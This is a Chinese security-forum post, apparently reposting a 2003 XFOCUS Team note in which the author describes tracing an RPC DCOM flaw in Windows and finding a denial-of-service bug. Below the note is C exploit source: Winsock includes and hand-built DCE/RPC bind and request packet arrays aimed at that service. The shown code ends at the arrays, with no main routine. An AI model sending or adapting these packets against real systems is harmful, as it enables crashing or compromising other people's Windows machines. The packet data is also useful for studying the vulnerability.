由于缺乏更多的技术细节,搞这个从上星期五到现在终于才搞定,惭愧,不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久,怎么也无法远程进入这个函数,最后偶然的一次,让我错误的看花了眼,再远程调用的时候,以为GETSERVERPATH是存在本地溢出的GetPathForServer函数,,心中以为远程进入了GetPathForServer函数,仔细的跟踪,这才发现问题所在。感谢所有关心和指导我的同志们。


--------------------------------------------------------------------------------


Copyright (c) 1998-2003 XFOCUS Team. All Rights Reserved

sjdf 2003-07-29
  • 打赏
  • 举报
回复

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};

9,506

社区成员

发帖
与我相关
我的任务
社区描述
Windows专区 安全技术/病毒
社区管理员
  • 安全技术/病毒社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧